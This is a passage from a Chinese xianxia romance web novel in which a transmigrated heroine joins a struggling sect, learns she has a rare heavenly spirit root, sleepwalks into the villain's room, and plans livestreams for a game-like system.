《傲娇反派他又争又抢》
3. 天灵根
“我想留下来学习仙法。”
殿内其余三人听到这话后,都齐齐看向了祈安。
易为春更是惊讶,毕竟落霞宫近十年都没有新弟子入宗了,他还是第一次见到主动要留下来的人。
祈安刚才就打定主意,眼下这落霞宫虽然破败,却已经是她离进入宗门最近的一次,一定要把握住机会。
清虚听到祈安的话,只当她是一时兴起,便将实情说了出来:“祈姑娘若是想修习仙法,落霞宫并不是一个好的选择。这里灵脉枯竭,宗门上下灵气极度匮乏,资源紧缺,不适合修炼。你可以——”
“道长,”祈安小声地打断了清虚,“我想问下,这灵气可以让我到练气期吗?”
清虚点点头,练气只需要引气入体,是修炼的基础,并不难。
“那就可以啦!”祈安的声音又亮了几分,“我只想达到练气期。”
清虚顿时语塞,还是第一次见要求这么低的求道之人。
“如果姑娘不介意宗门资源,那便一起留下吧。”清虚负手而立,对祈安说道。
祈安完全没想到清虚答应得这么快,立马朝他鞠了个九十度的躬,当下就换了称呼:“谢谢师父!我一定好好努力,为宗争光。”
*
清虚要易为春把应苍和祈安带去了他们的住处。两人的房间紧紧挨着,中间只靠一堵薄墙隔开。
祈安住在靠里的那一间,是落霞宫里最角落的位置。简单的收拾了一番后,就被带去了后山测灵根。
这世界的灵根分为五种,分别为金木水火土。
一路上祈安心里都忐忑不安,总担心自己是个没有灵根的废柴,只能靠着聊天来转移注意力:“师兄,咱们宗门最适合哪种灵根修炼呀?”
易为春说道:“现在宗门里的弟子不多,包括师父在内基本上都是金灵根,所以金属性的功法大家修习的比较多。不过师父的医术很好,如果师妹是木灵根,他老人家应该会很高兴,毕竟他经常念叨着希望有个可以继承他医术的弟子。”
“好!”祈安紧张地搓着手,“木灵根,来,来,来。”
两人一同走到了测灵石前,祈安深吸口气后,将手放了上去。
等了好一会,除了觉得手底有气在流动,就再无其他变化。
祈安小声询问:“师兄,测出来了吗?”
易为春一时不确定是这石头坏了,还是祈安没有灵根,只能安抚道:“还没,师妹再等会。”
“哦。”
祈安内心有些失落,不安的情绪又升了上来。
突然眼前闪过一阵白光,祈安的手被紧紧吸在了石头上。
下一瞬,易为春身上的玄光鉴响了起来:“春儿,你带着祈安来我这里一趟。”
*
屋内,易为春立在清虚身前。
清虚问道:“适才是你与祈安一同测的灵根吗?”
“是。”
“可有其他人看到?”
易为春回忆了一下,回答说:“应当不曾有人看到,有什么不妥之处吗?”
清虚的手在那铜镜上摩挲着:“祈安是天灵根。”
“天灵根?!”
易为春那张柔和的俊脸上,还是第一次显出了失态的神色。
他只道拥有天灵根的修士修炼速度要比常人快不少,但极其难遇。
江州已是九州中修士天分最高的地界,千年以来,一个天灵根都不曾出现过。
易为春突然想到了什么:“师父,上次出现的天灵根,好像是那个...”
清虚眼底寒芒乍现,抬手打断了易为春说的话。
上一个天灵根是谁,他不会忘记。
“把祈安叫进来。”
*
门被打开的时候,祈安整个身子都贴在上面,突然没了支撑物,她不受控制地朝前栽去。
“师妹小心。”易为春急忙出手,扶住了将要跌倒的祈安。
“哎哟——”祈安不是扯住了易为春的衣服,就真的摔倒地上去了。
她拍拍自己因为惊吓而上下起伏胸脯:“谢谢师兄,你真是个好人!”
嘴角仍是翘着,梨涡生春,完全没有偷听被发现的尴尬之意。
“祈安,来。”
清虚朝她招手。
祈安看到师父那严肃的神色,立马敛了笑意,走上前去:“师父。”
“刚才春儿和你测灵根的结果,我已经知道了。”
果然和灵根有关。
“我不会...没有灵根吧。”祈安小声地问道。
“你是天灵根。”
祈安骇然:“天灵根??”
原书里,那个最后被锁起来的恶龙,就是天灵根。她居然和反派拿着同样的剧本?祈安脸上青一阵,紫一阵,阴晴不定。
清虚只道是祈安陷入了为难的境地,毕竟天灵根是非常难遇的资质,就算去青霄宗也完全没有问题,没有必要委屈在落霞宫。他主动说道:“如果你想要去其他宗门,我让春儿护送你过去。”
“嗯?”祈安不解,“为什么要去别的地方?”
她心底一阵哀嚎:不会吧,不会觉得我是个坏蛋不想收我吧。我只想到个练气期啊,怎么这么难。
清虚没有隐瞒:“以你的资质,可以拜入青霄宗。”
“我不去。”
祈安毫不犹豫,拒绝了清虚的提议。
“师妹。”易为春在一旁也劝道,“师父是为你好,青霄宗的资源要比咱们落霞宫好得不止一星半点,你资质好,去那里......”
“我不喜欢那里。”祈安噘着嘴,嘟囔道。
她是真的不喜欢那些所谓的上等宗门的“嘴脸”。
连测灵根都要钱的地方,想必也不是什么好地方。
她凑到清虚身旁,试探着拉住他的袖子,粉腮微鼓,撒娇道:“我只想留在这里,师父,师父~”
“师父你不会是——不想要我了吧。”
祈安越说声音越小,到最后还带了些哭腔,话里满是委屈之意。
不过这档子委屈,真假参半。低垂的眼眸,偶尔也掀起眼皮偷偷看下清虚的反应。
清虚好久没作声,不知在想些什么。
他一刻没说话,祈安的手就一刻没有放下。
“祈安,”清虚沉声开口,“你真的打定主意留在落霞宫了?”
“真的!”
“落霞宫资源差,恐怕无法给你提供更多的帮助。”
“没关系呀,我可以自力更生!”
“落霞宫地位低,出门在外难免受到旁人的奚落,你也不介意?”
“不介意!”
祈安毫不犹豫地摇头,只是用余光瞟了站在一旁的易为春。
难道师兄之前也经常被人嘲弄吗?这么好的师兄,以后我要是和他一起出去,一定要帮他争回些面子来!
“还有最后一点,如果想要留在落霞宫,你不得向外人主动透露你天灵根的身份,包括宗门内的其他人,平日里若是有人问起,你就说自己是木灵根。”
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“好!”
清虚的话正合祈安的心意,刚好她也不想让别人知道她是天灵根。
财不外露,树大招风。这道理她从小就懂,更何况在她看来这天灵根还不是什么好东西,要是师父和师兄都愿意为她保守秘密,那她更是求之不得。
“今日你好好休息,明日卯时,我在后山处等你,教你引气入体的方法。” 清虚又对易为春说道,“等下你带着祈安去认识下宗门里其他的人,顺便用玄光鉴告诉在外面的弟子,就说宗门新收了名弟子,名叫祈安。”
清虚向易为春交代着一些日常的事情,祈安就站在一旁安静地听着。
这是她来到这书中后,第一次想要哭。
之前哪怕是露宿街头、被人欺辱,她都从未有过要哭的冲动,只是在暗自发誓,一定要努力逃离那些烂地方。
此刻的她才真的觉得自己在这个陌生的世界里,第一次有了一丁点依靠,不再是东漂西散的浮萍。
“谢谢师父。”
她又郑重地道了谢,字句间带着淡淡的潮意。
*
祈安从清虚那里出来后,就回了自己的房间,顺带拿了本《先天气引》,据说是修行之人的启蒙书籍。
“吐纳之法,”祈安趴在桌上,一面看,一面读出了声,“舌抵上颚,吸如春蚕食叶,呼似秋蝉振翼。”
“春蚕食叶?是这样吗?”
她试着模仿蚕吃桑叶的动作,免不了发出一些奇怪的声音。
啧啧啧。
嘬嘬嘬。
另外一间房里的应苍本来在闭目养神,忽然被这嘬嘬声扰了清梦。
他没有偷听的习惯,只是两个人的屋子实在隔得太近,祈安又不会“掩音术”,她发出任何一个音节,全都传到了应苍的耳里。
“感受空气的流动,逐步忽略身边的一切事物。”
“直到气流可以自由在体内流转,吐纳之法便算掌握。”
祈安边读边按照书里的所说的练习。
一开始还毫无感觉,但渐渐地她眼前出现了越来越多的绿色。
绿色的空气,绿色的漩涡,绿色的太阳。
祈安感到天旋地转:“好晕啊。”
“砰”的一声,倒在了地上。
应苍在隔壁听得真切,他心下一动,方才祈安正在自行练习吐纳之法,没有人指引,怕是出了问题。
还是要过去看一下,自己刚找好的“暖炉”坏了可太可惜了。
应苍忍着疼痛,掐了个诀,穿墙而过。
果然,祈安已经扑倒在地。
应苍将她扶起时,顺手按在了她的脉搏处。
先是那股能够克制他寒意的暖流,直直地朝他的经脉冲来。随后而至的,还有金、木、水三种属性的灵气。
应苍面色一顿:“她竟也是天灵根。”
天灵根资质极佳,刚才祈安应当是无意间吸收了不少的灵气,自己无法运化开来,被生生地撑晕过去。
此时只有用灵气帮她理顺气息,祈安才不会有生命危险。
可眼下自己灵气受损严重,如果帮了她,怕是寒意会立即发作。
正当他犹豫的时候,祈安倏然睁开了眼。
这么快就醒了?
应苍看着靠在自己肩膀处的人,头发凌乱,一张脸因为灵气过盛而变得通红,迷离的眼睛正盯着自己看。下一秒,自己的脸蛋就被祈安掐住,来回揉捏了几下,一道含糊不清的声音传进了他的耳朵:
“长得真好看呀~”
4.云水间
应苍被祈安的话和她身上的荔枝香,搅得浑身不自在,别扭地将他脸上的手扯开,拉开了自己和祈安之间的距离。
外面传来了一阵脚步声,有人来了!
“师妹——”
是易为春。
应苍看了一眼地上的祈安,她脸上的红潮仍未退去,眉峰紧蹙,再不理顺气息,怕是有爆体的危险。刚好易为春到了,干脆让他来处理好了。
应苍施了隐身诀,将门轻轻拉开了一个缝。
易为春透过门缝,正巧看到了祈安躺在地上。
“师妹,你怎么了?”
易为春直接冲了进去,也顾不上男女有别,将祈安打横抱起。他完全察觉不到屋内还有另外的一个人的存在,把祈安放在了床上,刚好从应苍眼前走过。
应苍本想直接回到自己的房间,可是看到那只勾在易为春颈后的胳膊后,他莫名地感觉有些烦闷:易为春才筑基中期,不知能不能够处理好她的情况。以防万一,还是要守在旁边稳妥一些。
打定主意后,应苍先到了院内,撤了隐身诀后装作刚好从祈安屋前路过的样子,微微往里探着身子:“祈安怎么了?”
易为春往门口望去,看见应苍正站在那里。他忽觉自己现在离祈安有些近,忙直起身子,温声和应苍解释道:“我有事来找师妹,从外面看到她好像昏过去了,便进来看看。”
应苍不动声色地走了进去:“知道原因了吗?”
“嗯,”易为春警惕地看了应苍几眼,“应该是昨日感染了风寒,她体子弱,晕了过去。”
风寒?
应苍心底升起了一丝嘲弄:还好没走,没想到他连原因都看不出。
应苍也没戳破,又往前走了一步:“我家中世代从医,对于风寒之症还有些经验,或许可以帮忙医治。”
说罢,就想要搭上祈安的手腕。
“应兄。”易为春挡住了应苍伸出的手,声音依然温和,只是明显地带着拒绝的意味,“你身上还有伤,养伤为主,不用帮我师妹操心了。我已经通知了师父,他马上就到。”
易为春谨记着师父对他的要求:不能让别人知道祈安是天灵根。
应苍这样贸然地来摸祈安的经脉,他担心事情会因此暴露。
两人的小臂就在空中交错。
没有一人想要退让。
“好热啊——”
床上的祈安突然嘟囔道。
应苍和易为春齐齐地看了过去,没想到祈安的脸比刚才还要红,像是一团染了色的棉花一般。
应苍觉得情况不对,手往祈安脸上探去,又被易为春拦下。
“放开。”他声如霜刃出鞘,泠然破空。
易为春收起了脸上一贯的温润,冷冷地说道:“师妹的事情我自会处理,不麻烦应苍兄插手了。”
应苍眸光一沉,从前的他还没遇到过敢直接忤逆自己的人。
“我说,放手。”
“应苍,春儿。”
清虚的声音响起。
应苍和易为春纷纷看向来人。
清虚接到易为春的讯息后,立马赶了过来。谁知刚到门口,就看到自己一向稳重的大徒弟和应苍起了争执。
“师父!”
易为春先收回了手,朝清虚行礼。
应苍在这瞬间,手臂垂落,立马抓起了祈安胳膊,他不顾自己寒疾发作的风险,直接开始帮祈安理气。
今日应苍穿了件墨绿色的宽袍外衣,在袖子的掩盖下,没人知道他正拉着祈安的手腕。
易为春把刚才所发生的事情和清虚叙述了一番,隐去了和应苍之间的交锋。
清虚没有作声,坐在了祈安床边。
应苍在他过来的时候,松开了祈安,立在一旁。
清虚在探到祈安气息的那刻,面色一顿,抬头望了眼站在一旁的应苍。
立马就发现了他脸色不太好,果断出手,在应苍腰际点了两下。
应苍只感觉一股强大的灵力注入了自己的体内,稳住了他紊乱的心脉。
这灵力让他心下一惊,力道绝非金丹之人能够有的。
这人究竟是谁?
清虚对着应苍说道:“你先回房间,等下我会去找你。”
*
一盏茶后,应苍屋外响起了敲门声。
清虚正在屋外:“你随我来。”
应苍跟着清虚,从落霞宫院门出来后一路往北,穿过了一个狭小的山洞,经过一片紫藤林后,到了一个被隔离开的园子前。
四周都是木制的篱笆栏,里面种满了灵植。门旁立着一个小牌子,上面写着:云水间。
这云水间一看就是精心侍弄过的,甚至比落霞宫的院子要精致许多。
灵植的生长需要大量的灵气。应苍试探过,落霞宫这一带的灵气极其稀薄,明明有灵脉,宛如枯竭一般,基本无法生产灵气。
可为何这个园子的灵植长得如此丰茂。
“应苍,”清虚缓缓开口,“你的伤没有愈合,除非生死之际,不要轻易使用灵力。老夫虽不知你为何受伤,但也能猜测出大概。云水间是我宗门上下,灵气最丰富的地方,宗门内没有弟子知道此地的存在。你疗伤需要灵气,以后这里你可以自由进出,只要不与旁人知晓就行。”
应苍一直盯着清虚看,他敢确定两人之前一定不认识。可为何这清虚如此帮自己?
应苍问道:“你是谁?”
“清虚。”
“清虚又是谁。”应苍步步紧逼。
“这对你没什么用处,你不必知道。”
“那你为什么帮我。”
“就当是,你我有缘吧。”
清虚声音不大,却似暮天垂野。仿佛可以把世间的一切都纳入怀抱,而后归于一寂。
应苍知道,他没办法从清虚这里得到自己想要的答案,也就没再追问。
清虚临走之时,留下了一句话:
“你身体尚虚,切记,不要轻易使用灵力。”
*
祈安直到日落后,才堪堪醒来。
刚睁眼,就看到了易为春坐在自己床边。
“大师兄?”她挣扎着爬起,“你怎么在这里?”
祈安环顾四周,自己原本胡乱放置的书,都被妥当地收好,放置在桌上。
宣纸上压着镇尺,纸张被风掀起了衣角。
易为春赶忙将她扶起来:“师妹你醒啦,感觉怎么样?”
祈安认真地感受了一遍自己的各个器官,没发现什么异常:“除了有点晕,好像没什么其他感觉?大师兄,我怎么了?”
易为春往外望了一眼,确认门外没人后,靠近祈安,在她耳边轻声说道:“你无意间吸收了不同属性的灵气。这些灵气对于寻常的修士不值一提,但你还没有任何根基,灵气太多导致体内气息混乱,就晕了过去。师父已经帮你调整好了,你不用担心。”
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应苍刚好从花园里回来,想去祈安那里看看她怎么样,正巧就看到易为春贴在祈安耳边,不知在说些什么。
他只看了一眼,就挪开了视线,进了自己的房间。
许是风大了一些,应苍房间的门被猛地关上。
震起了纷纷木屑。
一旁的祈安还在与易为春耳语。
“你是说,师父还过来了?”
“对,”易为春说道,“你的情况比较特殊,我也没办法处理。”
另一侧的应苍听到这句话时,冷笑一下:能力不行,倒还算诚实。
“那师父有没有说什么呀?他会不会觉得太麻烦?然后......”
然后让我去别的宗门。
“师父不会觉得你麻烦的,你不用多想。他要你好好休息,而且明日不用卯时去找他了。要学习的吐纳之法,你今天已经自行学会了。”
祈安疑惑:“我没有自学啊。”
易为春把那本《先天气引》拿到了祈安的面前:“你是不是看了这本书?”
嗯嗯嗯。
祈安点头。
“这本书讲的就是吐纳之法。因为你是——”说到一半,易为春又止住,“因为你天资聪颖,学得比较快,在无意间就学会了。”
祈安杏目圆睁,睫毛轻扇:“我这么厉害吗?那是不是很快就可以到练气期了?”
易为春笑笑:“师妹资质好,练气期不是什么难事。”
“大师兄你当时大概多久到的练气呢?”
“三个月。”
三个月。祈安盘算着,如果说单灵根是三个月,自己算是有五种灵根,如果直接平均下来,似乎只需要半个月!
总算有点盼头了。
祈安长呼一口气。
易为春见祈安已经醒来,知道再留在她房里也不合适,起身说道:“师妹你好好休息,我先走了。”
祈安送他到门口:“谢谢大师兄!”
易为春刚迈出两步,就又折返回来。
“还有什么事吗?”
“你以后要离——”
“什么?”
易为春本来是想让她离应苍远点,话到嘴边又咽了下去:“没什么,你好好休息吧。”
“啊?哦...”
易为春走了之后,祈安一直在自己房里休息。头还有些发晕,晚上早早睡了过去。
而隔壁的应苍,还没有躺下,坐在桌前思考着清虚到底藏着什么秘密。只听得一道吱呀声后,屋内多了一个不速之客。
应苍皱着眉看着光临自己房间的祈安。
穿着单衣,打着赤脚,这外面全是杂草和碎石,竟然就这么走了过来。
应苍冷笑:这梦行症可真够严重的。
祈安进来就直奔床去,掀开被子轻车熟路地躺了上去。
应苍立马抓住她的胳膊,他洁癖严重,最不喜别人碰他的床。
可刚碰到祈安时就感受到了祈安滚烫的体温,暖流顺着掌心钻进了他的体内。
今天还没“疗伤”,干脆趁此机会吸够了再她放回去吧。应苍止住了自己的动作,静静地感受着那道暖流的游走。
倏地,他的手指攀上了一股湿润,麻意直接沿着脊柱一路爬到了他的脑后。
应苍双眸微沉,也许是被暖流烫得有些口渴,喉结不自觉地上下滚动着。黑暗中那双幽深的眼睛,直直地盯着正捧着他手指吸吮的祈安。
5.练气期
祈安在梦里,正吃着辣得直冲天灵盖的火鸡面,突然来了一根香甜的冰棒。
凉丝丝的。
她刚一拿到手,就喜欢的很。
只是这冰棒好像有想法一般,一直在往外跑。祈安死死地拽着,猛地咬了一口。
嘶——
应苍吃痛,瞳孔一缩,掐住祈安微嘟的脸蛋。在他的力道下,祈安不得不张开嘴巴,把手指吐出来。
“唔~”祈安皱眉,“冰棒吃人啦!”
应苍没太听清她说的话,刚凑过去想仔细听一下,却冷不丁的现了原身,从半空中落在了祈安的腿上。
“该死,怎么这时候变回去了。”
祈安立马发现了他的存在:“小蛇,别跑呀。”
应苍在地上游动着,祈安一直跟在他后面,有时还踩上几脚。
两人像是玩起了捉迷藏的游戏,应苍不停地在自己的房间里东躲西藏,看到桌腿的那一刻,他卷着身子缠了上去。
祈安就在桌子旁来来回回转了好几圈,都没有发现他的踪迹,嘟嘟囔囔地说了句:“无聊!”,就拉开门出去了。
祈安走了很久,应苍确定没有动静后,才从桌腿上下来。
他盘在被褥上,在脑海里搜寻着如何医治梦行症。
他还要在这落霞宫住上几个月,每晚都这样被她折腾,之后怕是会遭不住。
*
天刚蒙蒙亮,祈安便醒来了。
“怎么脸有点疼?”
祈安鼓起腮帮子,发现镜子里自己的右脸上竟有一抹紫痕,还好不是很明显,应该是昨天下午不小心撞到了。
祈安没有过多的在意这个事情,她翻身下床洗漱了一番,就往清虚的住处走去,今天她要学习理气之法。
清虚和祈安房子中间,隔了一排房子,是落霞宫其他弟子所住的地方。从中间穿过去的时候,蔺远和怀津已经在院里练功了。
“二师兄,四师兄,早安!”祈安笑盈盈地跑过去,和他们二人打着招呼。
整个落霞宫算上祈安,一共有七个弟子。
除了老二蔺远、老四怀津以外,其余的人大部分时间都在外面游历。
表面上说是游历,实则是外出做任务,赚点灵石,多少可以补贴下宗门。
要不是蔺远双足被卸,怀津丢了一只胳膊,其余的师兄弟都不要他们出门,他们也会一同出去。
二人一见到祈安,立马收了剑。
“小师妹起这么早!”
说话的人是蔺远,他生的粗壮,满脸的络腮胡,皮肤黝黑,看上去是个大糙汉,实际手灵巧得很,做的一手好针线活。
“师父叫我醒了就去找他。”祈安看着两个人,额头上都沁出了汗,“师兄,你们是不是很早就起来练功了?”
怀津笑笑:“有一个时辰了。”
“一个时辰?那不是四点就起了吗?”祈安语气里难掩震惊之意,“好厉害啊。”
蔺远一面擦着他的剑,一面说道:“我们算晚的,大师兄比我们还早半个时辰。”
简直是变态,祈安在心里悄悄嘀咕着,留下一句“我去找师父了”就跑开了。
气喘吁吁地到了清虚的屋前,发现人已经在门口等她了。
“师父。”
“走吧。”
祈安老实地跟在清虚身后,到了一处小溪口。
“此乃九寿溪,是宗门的灵脉所在之处。”清虚说道,“九寿溪源头是诏水,自昆仑山顶流下。江州地界内的各个宗门都依诏水而建。有的地段灵气充裕,一般被比较大的宗门占领。落霞宫这一段,几乎没什么灵气,我们抢不过其他的宗门,就只能建在此地了。”
诏水祈安是知道的。
原书里昆仑诏水,是九州的源头水。没有诏水,就没有九州。从上古时期起,苍龙一族就奉命守护诏水,世世代代皆是如此。
千年之前,苍龙一族的凌阳,被发现串通邪修,窃取诏水灵气供自己修炼使用。青霄宗九霄真人召集九州上下的顶尖修士,共同抓捕凌阳,一场大战后,凌阳被缚灵网抓住。
可由于其体内灵气过剩,竟无人能够将其诛杀。
只能用九幽玄铁锁在无光谭下,至此,苍龙一族就此灭绝。
“昨天你已经学会了吐纳之法。”清虚寻得一处空地,席地而坐,“吐纳之法普通的凡人练习数月,才可以勉强掌握。你只读了几页书,就能将灵气引入体内,资质确实与旁人不同。越是容易获得,反而越危险。修行之路险恶,你要切记:修心第一。”
祈安尚且不能完全明白清虚的意思,她也盘腿坐下:“师父,我不懂修行之事,我也不期望有什么成就,就想安安心心地达成自己的目标,然后回家去。我什么都不会,要是哪里做的不对,您一定要和我说。要不...我怕我不小心丢了性命。”
素净的脸上写满了认真,明明五官都是一副柔弱女孩的样子,可偏偏那双眸子太过灵动,给整张脸添了不少生气。
清虚沉默了一会儿,淡淡说道:“开始吧。”
天灵根与其他灵根不同之处在于,可以吸收五种不同属性的灵气。
木归肝,火入心,土承脾,金养肺,水润肾。
祈安昨日只是吸收了灵气,却不知如何将灵气运化到它该在的位置,才会导致气息紊乱,所以今日才要学习理气之法。
“伸手。”
清虚从怀里掏出了一个小葫芦,把壶口对着祈安的手心:“这是储元壶,里面存着五种属性的灵气。先来感受不同灵气入体是什么样的感觉。”
“金。”
祈安手心微微刺痛,紧接着就感受到一股气流进入体内。这道气在经脉之中穿梭,所到之处都如同有金钩在滑动。
“木。”
木灵气入体后,痒意开始冒头,似有植物想要破土而出。
“水。”
水灵气柔和,几乎没有感觉,偶尔会感到一阵浅浅的凉意。
“火。”
火灵气刚一进入体内,祈安的皮肤就开始微微泛红,血液竟然有沸腾之感。
“土。”
土灵气运转要比其他四种慢一些,像一个拉着重物的牛一样在缓慢前行。
“现在按照灵气本来要行进的经脉,将他们输送到应该去的地方。”
祈安按照清虚的说法去做。
理气要更加复杂,一要分辨清楚究竟是哪种灵气,二要找到他对应的去处,还要按照相生相克的方法,进行输送。
祈安一坐,就是一整天。
终于把最后的一点灵气,归到了肝内
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。睁开眼的时候,天已经黑了。
清虚还坐在自己面前。
“师父。”祈安刚一说话,肚子就咕噜直叫。她才想起,自己自从早上醒来,到现在一直还没有吃饭,“怎么过了这么久。”
清虚:“方才你入定了,有什么不适吗?”
祈安诚实地回答道:“有点饿。”
饿?清虚没料到祈安会这么回答,他打量了祈安好一会,确认她没其他问题后,才说道:
“那就回去吃饭吧。”
“好嘞!”
清虚在前面走着,祈安安静地跟在后面。
她发现自己这个师父,似乎不怎么爱说话。声音语气明明都很柔和,却给她一种很强的压迫感。不管怎么样,她还是很感谢清虚能够把她留下来。
快到落霞宫门口的时候,清虚递给了祈安一个圆形物件。
“这是什么啊?”祈安问。
“玄光鉴,用来和他人通讯的。”清虚说,“等春儿回来了,让他告诉你怎么用。”
*
易为春回来的时候,已是亥时,他连自己的屋子都没回,就直奔祈安那里。
“师妹!”易为春的语气里难掩喜悦。
祈安一听是易为春,立马冲过去开了门,没想到门外还有蔺远:“咦?二师兄,你也来啦!快进来!”
易为春和蔺远是来给祈安送衣裙来的。他昨天和清虚商量过,祈安毕竟是个女孩儿,穿的和他们一样不讲究还是不妥当。清虚便让他从宗门里日常的开销中挤出了一部分,给祈安置办衣服。
易为春扯了几匹布,蔺远之前在一家裁缝铺做过活。为了省钱,他和那铺子的主人磨好久,对方才答应让他借用地方和工具,自己裁剪衣服。
他一直从早上,忙到了晚上,硬生生地赶出了三件衣物。
一件浅绿色的,一件桃红色的,还有一件鹅黄色。
“小师妹,你等下就试穿一下,要是不合身就和师兄说,我给你改。”蔺远乐呵呵地朝祈安说道,眼里满是欢欣。
祈安看着桌上叠得整齐的衣服,再看看自家几个师兄衣服都明显发旧,眼眶一酸,险些落下眼泪。
“谢谢大师兄二师兄!我一定好好修炼,以后也赚钱给你们买好多好多东西!!”
她神色认真,还竖起三根手指,向天发誓。
易为春将她的手轻轻按下:“你不需要赚钱,安心修炼就好。”
“那不行,这种又吃又拿的事情我可干不出来。”
祈安边说,还边撅起了嘴。
看着祈安毛茸茸的脑袋,易为春硬是压住了自己想要摸一摸的冲动:“师妹你早点休息,我和阿远就不打扰了。”
祈安又和他们在门口聊了好一会,才把易为春和蔺远送走。
应苍听到隔壁没了动静后,原本半闭着的眼睛,立马睁开。
半晌,他缓缓吐出几个字来:“总算走了,聒噪。”
祈安把那衣服摸了又摸,来回试了好几遍,才心满意足地收起来。盘腿坐在床上,准备临睡前再复习一下吐纳和理气的方法。
刚感受到灵气的流动,就听到了那阵熟悉的“叮——”。
【宿主您好,恭喜您成功达到练气期,寿元扣除暂停,请打开系统面板查看新任务。】
6.玄光鉴
系统面板?
祈安忙从怀里掏出那面镜子,一直黯淡的镜面现在亮了起来,竟然真的和游戏面板一样。
“您有一份奖励待领取。”祈安点开了右上角奖励按钮的红点,“宿主您好,因您已完成初始任务,奖励随机推流一份,可在第一次直播时使用。”
祈安继续往下看:“系统已为您更新新任务:直播时达到10人同时在线的成就。任务奖励:解锁弹幕功能。”
除了新任务可以看到任务详情外,其余地方都还是灰色未解锁的状态,不过任务阶段倒是已经标记出来了。
现在她还处于基础任务阶段,后面分别是副本阶段、威望阶段和PK阶段。
还有PK?难道这修仙界也在直播?
祈安试探性地点进去了新任务,弹出了一个窗口:
【是否确认开启直播】
吓得祈安手一哆嗦,立马点了×。
她此时头发乱糟糟的,实在不适合上镜。系统第一次推流的机会,可得抓住了。
现在看这个任务似乎没有规定需要多久完成,她还可以好好准备一番。
祈安躺在床上想着自己第一次直播要做些什么?
她回忆起能想到的各种直播形式:
游戏直播,这里没有游戏可以让她玩,PASS;
才艺直播,唱歌她不太在行,跳舞也一般,如果打一套军体拳也算才艺的话,她勉强可以;
学习直播,这个好像还不错,把镜头对准自己,不用怎么说话,吭哧吭哧地学就可以,放入备选;
祈安最心仪的,还是吃播。从前她的舍友就经常说,最喜欢和她一起吃饭,因为吃得很香。这个似乎是祈安的一个长处,是她的第一个优选方案。
祈安就这样一直想想想,迷迷糊糊睡了过去。
*
祈安醒了后,从蔺远做的衣服中,挑了件桃红色的穿上。
毕竟昨晚刚完成了任务,今天穿得喜庆一些,给自己攒些好运。
她已经规划好了,今天要学会用玄光鉴,然后再问问易为春这修仙界有没有直播。
祈安问了蔺远,易为春现在应该在九寿溪上游的一个山洞口修炼。
她顺着溪水往山上走,果然看到了易为春。
“大师兄!”
“师妹,”易为春看到祈安时,眼睛一亮,收了剑,往她的方向走去,“这里路滑,你慢点走。”
祈安到了练气期后,觉得身体变轻盈了不少,这点山路对她来说已经不算什么了。蹦跳着到了易为春面前:“大师兄,你在练功吗?”
易为春看着祈安红扑的脸蛋,含笑点头:“怎么热成这样?不是要你慢点走吗?”
祈安发现,易为春说话时总是不急不缓,似溪水清潺,她心情也渐渐地放缓下来,从怀里掏出了清虚给她的玄光鉴:“师兄,我想问问你这个怎么用。”
易为春只看了一眼,就知道祈安手里的玄光鉴和他们平时用的绝非同一材质制作。
普通的玄光鉴一般用低阶玄铁锻造,表面常有杂质斑驳,触感粗糙。
而祈安手里的这一枚,通体透亮光滑,明显是用高阶玄铁制作的。且做法讲究,背面还刻有祥云符箓。
“这玄光鉴是师父给你的吗?”
“是呀,昨天给我的。”
易为春看祈安那副样子,就知道清虚没告诉她这玄光鉴的珍贵程度。对于自家这位师父,易为春也有些看不明白。明明宗门资源一般,可他总能在某些时候送一些顶级的物件给几个徒弟。
像他手里的这把剑,蔺远的轮椅,还有怀津的袖箭,各个都是顶尖的工艺。
每次问清虚,他总是避而不谈。
易为春也没和祈安说实情,她体质特殊,现在知道的越少越好,便只给她讲了这玄光鉴怎么用。
祈安一听,这不就是修仙界的微信吗?
可以加好友,可以建群,还可以一对一视频通话。
她和易为春互相加了好友,还顺利进入了宗门的群聊。
群名就是落霞宫三个字。
祈安看了下群里的人,竟然都是自己的真名。
“居然都是实名冲浪啊。”
祈安想了想,决定给自己换个名字。
“十亿少男的梦?”易为春满脸疑惑。
祈安随手洗了个果子吃:“没错,这是我的梦想。”
这山脚下的果子脆又甜,非常合她的胃口。她鼓着腮帮子,蹲在溪边继续问易为春:“大师兄,咱们这里有直播吗?”
“直播?”
“就是比如我们两现在在这里说话,然后放个镜子在这,就能把咱们现在的情况,完全地展示给别的人,不管在哪里,只要他进了这个直播间,就都能看到。”
看着易为春不断皱紧的眉头,祈安就知道修仙界应该是没直播的。没有直播,那她后面和谁PK啊?
易为春虽然不懂,但还是认真地回答了她:“你说的这种东西应当是没有的,毕竟各宗门的功法都是宗门独有的,倘若像你说的这样,岂不是大家都可以学去了?”
祈安在心里拍案叫绝,自己的大师兄也算是十分聪明。二十一世纪可不是就像他说的那样吗,足不出户就可以看到某北、某华的老师直播了。
不过她也没再细说下去,准备回去继续看看自己那个镜子还有没有什么功能是没发现的,和易为春匆匆告别:“谢谢师兄,我知道啦。你继续练功吧,我回去啦。”
易为春没料到她这么早就走,下意识地叫住了她:“师妹——”
“还有事吗?”
祈安笑眼弯弯,看着他面前的人。
易为春看着祈安的笑容,心里突然有些紧张:“你、你之前你不是想要到练气期吗?我们可、可以在这里一起练功。”
“好呀好呀,不过我昨天晚上已经到练气期了,等我下次练功的时候就来找师兄!”
祈安小跑着离开了,只留易为春留在原地。
昨天就到了练气期?
原来天才和普通人之间的差距,竟是如此之大。
易为春苦笑一下,又提起自己的剑,继续练了起来。
*
祈安跑回自己房间后,认真地坐起了直播计划。
她打算三天后正式开启自己的第一场直播,直播主题就是吃!
这几天得好好“选品”,再选个风景秀丽又不会被发现的地方,安静地直播上个一个时辰。
第一次有推流,十个人应该很容易吧。
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正沉浸在自己幻想里的祈安,门突然响了。
来的人居然是应苍,斜倚在门框上。
“你终于回来了。”
终于?难道他来了很多次了?
祈安不好意思地笑了笑:“早上和师兄一起出去了会儿。有什么事吗?”
“最近睡得好吗?”
他问这个做什么?祈安抬头望去,对上了应苍的眼睛,突然后背发凉,总觉得他眼神不善:“还可以。”
应苍忽地露出一抹淡笑:“我以为你睡眠不好,特意给你送来了这个。”
他从身后拿出了一个小罐子:“这里面是用草药做的茶,每日喝一点,有安神的效果。”
这罐药茶是他凭着记忆的药方,一大早出去采的。应苍特意调了配比,加大了茶叶的分量,一般人看上去,只当是用作安神的,但其实对于治疗梦行症,有极佳的效果。
祈安没想到应苍是给她来送礼物的,连忙接过:“谢谢你。”
“不过,”祈安歪着头,“你为什么觉得我睡眠不好啊。”
